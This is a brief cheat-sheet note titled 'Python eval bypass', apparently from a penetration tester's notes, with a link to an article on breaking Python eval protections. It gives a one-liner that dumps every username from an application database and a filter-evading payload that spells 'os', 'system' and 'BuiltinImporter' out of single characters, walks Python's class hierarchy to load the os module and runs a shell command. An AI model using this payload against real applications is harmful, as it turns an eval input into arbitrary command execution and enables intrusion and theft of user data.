Python eval bypass#

print([u.username for u in db.session.query(User).all()])

https://netsec.expert/posts/breaking-python3-eval-protections/

b = "B" + "u" + "i" + "l" + "t" + "i" + "n" + "I" + "m" + "p" + "o" + "r" + "t" + "e" + "r"  
o = "o" + "s"  
s = "s" + "y" + "s" + "t" + "e" + "m"  
  
for some_class in [].__class__.__base__.__subclasses__():  
    if some_class.__name__ == b:  
        o_mod = some_class().load_module(o)  
        getattr(o_mod, s)("id")